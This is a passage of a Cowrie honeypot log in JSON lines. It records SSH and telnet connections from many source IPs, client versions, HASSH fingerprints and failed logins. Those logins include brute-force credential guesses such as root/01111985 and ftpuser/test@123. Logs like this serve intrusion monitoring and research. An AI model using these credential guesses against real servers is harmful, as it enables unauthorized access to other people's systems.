{"eventid":"cowrie.session.connect","src_ip":"102.88.137.80","src_port":1511,"dst_ip":"10.17.0.5","dst_port":22,"session":"33fc5cb467bf","protocol":"ssh","message":"New connection: 102.88.137.80:1511 (10.17.0.5:22) [session: 33fc5cb467bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:20:02.761513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:20:02.766037Z","src_ip":"102.88.137.80","session":"33fc5cb467bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"713bd9cc935561939c02dad25af2d3de","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes256-cbc,aes128-gcm@openssh.com,aes128-ctr,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes256-ctr","aes256-cbc","aes128-gcm@openssh.com","aes128-ctr","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 713bd9cc935561939c02dad25af2d3de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:20:02.949275Z","src_ip":"102.88.137.80","session":"33fc5cb467bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vamshi","password":"vamshi","message":"login attempt [vamshi/vamshi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:20:03.711259Z","src_ip":"102.88.137.80","session":"33fc5cb467bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:20:04.901755Z","src_ip":"102.88.137.80","session":"33fc5cb467bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":33712,"dst_ip":"10.17.0.5","dst_port":22,"session":"431428a4adab","protocol":"ssh","message":"New connection: 176.32.39.21:33712 (10.17.0.5:22) [session: 431428a4adab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:20:06.097195Z"}
{"eventid":"cowrie.session.closed","duration":37.96570348739624,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:20:15.607115Z","src_ip":"128.199.8.54","session":"95cd8c639ccd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"217.168.240.63","src_port":59780,"dst_ip":"159.203.135.109","dst_port":22,"session":"655b97ba7325","protocol":"ssh","message":"New connection: 217.168.240.63:59780 (159.203.135.109:22) [session: 655b97ba7325]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:20:17.917679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:20:17.927101Z","src_ip":"217.168.240.63","session":"655b97ba7325","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:20:18.060005Z","src_ip":"217.168.240.63","session":"655b97ba7325","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":58402,"dst_ip":"159.203.135.109","dst_port":23,"session":"c25d965e7edc","protocol":"telnet","message":"New connection: 172.81.62.90:58402 (159.203.135.109:23) [session: c25d965e7edc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:20:18.245703Z"}
{"eventid":"cowrie.login.failed","username":"alex","password":"1234","message":"login attempt [alex/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:20:18.610037Z","src_ip":"217.168.240.63","session":"655b97ba7325","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:20:19.740860Z","src_ip":"217.168.240.63","session":"655b97ba7325","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":41848,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7b8165b70a8","protocol":"ssh","message":"New connection: 160.251.185.39:41848 (10.17.0.5:22) [session: d7b8165b70a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:20:22.685196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:20:22.690840Z","src_ip":"160.251.185.39","session":"d7b8165b70a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:20:22.861191Z","src_ip":"160.251.185.39","session":"d7b8165b70a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demodemo","message":"login attempt [demo/demodemo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:20:23.578364Z","src_ip":"160.251.185.39","session":"d7b8165b70a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:20:24.751414Z","src_ip":"160.251.185.39","session":"d7b8165b70a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.203.163.10","src_port":35404,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8a591953cac","protocol":"ssh","message":"New connection: 189.203.163.10:35404 (10.17.0.5:22) [session: b8a591953cac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:20:25.761156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:20:25.766109Z","src_ip":"189.203.163.10","session":"b8a591953cac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:20:25.831645Z","src_ip":"189.203.163.10","session":"b8a591953cac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maths","password":"123456","message":"login attempt [maths/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:20:26.120026Z","src_ip":"189.203.163.10","session":"b8a591953cac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:20:27.185389Z","src_ip":"189.203.163.10","session":"b8a591953cac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.39248514175415,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:20:29.334827Z","src_ip":"172.81.62.90","session":"2e23cd5424ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.42652225494385,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:20:30.070344Z","src_ip":"128.199.8.54","session":"1848a62c61ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.46293759346008,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:20:30.420908Z","src_ip":"172.81.62.90","session":"d2d202b964fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":60306,"dst_ip":"159.203.135.109","dst_port":22,"session":"2cd1b77eca8a","protocol":"ssh","message":"New connection: 101.47.159.125:60306 (159.203.135.109:22) [session: 2cd1b77eca8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:20:33.353903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:20:33.358634Z","src_ip":"101.47.159.125","session":"2cd1b77eca8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:20:33.606465Z","src_ip":"101.47.159.125","session":"2cd1b77eca8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":35034,"dst_ip":"10.17.0.5","dst_port":22,"session":"dad11960ff61","protocol":"ssh","message":"New connection: 103.82.20.28:35034 (10.17.0.5:22) [session: dad11960ff61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:20:33.720086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:20:33.728618Z","src_ip":"103.82.20.28","session":"dad11960ff61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:20:33.984451Z","src_ip":"103.82.20.28","session":"dad11960ff61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"music","password":"music","message":"login attempt [music/music] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:20:34.617029Z","src_ip":"101.47.159.125","session":"2cd1b77eca8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"01111985","message":"login attempt [root/01111985] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:20:34.750224Z","src_ip":"103.82.20.28","session":"dad11960ff61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:20:35.864319Z","src_ip":"101.47.159.125","session":"2cd1b77eca8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:20:36.005301Z","src_ip":"103.82.20.28","session":"dad11960ff61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.583354473114014,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:20:52.574609Z","src_ip":"128.199.8.54","session":"a9d5fe6fd9ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.80","src_port":17262,"dst_ip":"10.17.0.5","dst_port":22,"session":"1fd91a6cf340","protocol":"ssh","message":"New connection: 102.88.137.80:17262 (10.17.0.5:22) [session: 1fd91a6cf340]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:20:54.692068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:20:54.699706Z","src_ip":"102.88.137.80","session":"1fd91a6cf340","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.70.1.128","src_port":48192,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa48bfbbc53e","protocol":"ssh","message":"New connection: 111.70.1.128:48192 (159.203.135.109:22) [session: aa48bfbbc53e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:20:54.797693Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:20:54.803780Z","src_ip":"111.70.1.128","session":"aa48bfbbc53e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"713bd9cc935561939c02dad25af2d3de","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes256-ctr,aes256-cbc,aes128-gcm@openssh.com,aes128-ctr,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes256-ctr","aes256-cbc","aes128-gcm@openssh.com","aes128-ctr","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 713bd9cc935561939c02dad25af2d3de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:20:54.883584Z","src_ip":"102.88.137.80","session":"1fd91a6cf340","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"test@123","message":"login attempt [ftpuser/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:20:55.643514Z","src_ip":"102.88.137.80","session":"1fd91a6cf340","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.12426280975342,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:20:56.369833Z","src_ip":"172.81.62.90","session":"c25d965e7edc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:20:56.827799Z","src_ip":"102.88.137.80","session":"1fd91a6cf340","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":39824,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7434f3be3b9","protocol":"ssh","message":"New connection: 147.45.211.215:39824 (10.17.0.5:22) [session: d7434f3be3b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:20:57.381415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:20:57.387552Z","src_ip":"147.45.211.215","session":"d7434f3be3b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-ce